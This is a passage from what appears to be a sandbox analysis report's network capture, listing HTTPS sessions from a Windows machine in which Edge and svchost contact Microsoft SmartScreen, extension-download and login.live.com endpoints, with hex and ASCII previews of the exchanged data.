Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 14:16:59 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-18 14:17:00 UTC	252	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:59 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-18 14:17:00 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49782	152.195.19.97	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:59 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732544216&P2=404&P3=2&P4=iQYNWthV3PQL%2bGgU6h%2frhvPMpTKwlvsmfQvmB%2f0UUG1OzilrTtTlqeDpWgSlyXOdZmBxavNCTyZjXGe9brB3BA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: SW+JC6WVpMczFL22YS7JuO Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:16:59 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11865950 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 18 Nov 2024 14:16:59 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-18 14:16:59 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49783	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-18 14:16:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 14:17:00 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 14:16:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_SN1 x-ms-request-id: 1efe4219-13c7-4e33-8e1f-352bf52d0b66 PPServer: PPV: 30 H: SN1PEPF0002FA71 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 14:16:59 GMT Connection: close Content-Length: 11412
2024-11-18 14:17:00 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49785	20.25.227.174	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:01 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOGszcFdyTno1ZG1SWCtkWWxZMm1KQT09IiwgImhhc2giOiJva1FVdFdYKzhBWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 14:17:01 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-18 14:17:01 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:01 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-18 14:17:01 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49786	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-11-18 14:17:01 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 14:17:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 14:16:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_BAY x-ms-request-id: 97d4986a-e906-45aa-ac45-4151c80ee494 PPServer: PPV: 30 H: PH1PEPF00011EF6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 14:17:00 GMT Connection: close Content-Length: 10197
